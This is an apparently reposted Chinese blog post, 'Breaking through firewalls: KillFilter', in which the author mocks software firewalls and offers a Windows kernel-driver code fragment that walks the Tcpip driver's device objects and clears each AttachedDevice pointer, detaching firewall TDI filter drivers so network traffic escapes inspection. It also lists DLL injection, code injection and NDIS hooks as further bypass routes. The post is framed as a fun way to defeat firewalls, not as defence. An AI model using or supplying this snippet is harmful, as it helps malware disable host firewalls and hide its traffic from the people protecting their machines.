突破防火墙之KillFilter -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    唉,软件防火墙好像没一个令我满意的,都比较弱,考虑不全,

突破防火墙之KillFilter

。国内的防火墙更是令人心寒~ 无论是DLL注入还是不引入DLL的纯代码注入,还是TDI Cilent,都能把国内的防火墙搞定。NDIS hook 更不要说了..

    来点好玩的,其实我们只要写个驱动,从设备栈里把防火墙的TDI过滤驱动给摘除掉,这样就能对付一般的防火墙了。当然,国外强一点的防火墙,比如ZoneAlarm Pro 6.5就得再结合其他方法了,嘿嘿。

    摘除过滤驱动的代码片段:

    RtlInitUnicodeString ( &TcpipName, L"\\Driver\\Tcpip" );

    ObReferenceObjectByName( &TcpipName,

    OBJ_CASE_INSENSITIVE,

    NULL,

    0,

    *IoDriverObjectType,

    KernelMode,

    NULL,

    &TcpipDrvObj);

    CurrentDevice = TcpipDrvObj->DeviceObject;

    while(CurrentDevice != NULL )

    {

    CurrentDevice->AttachedDevice=0;

    CurrentDevice = CurrentDevice->NextDevice;

    }

最新文章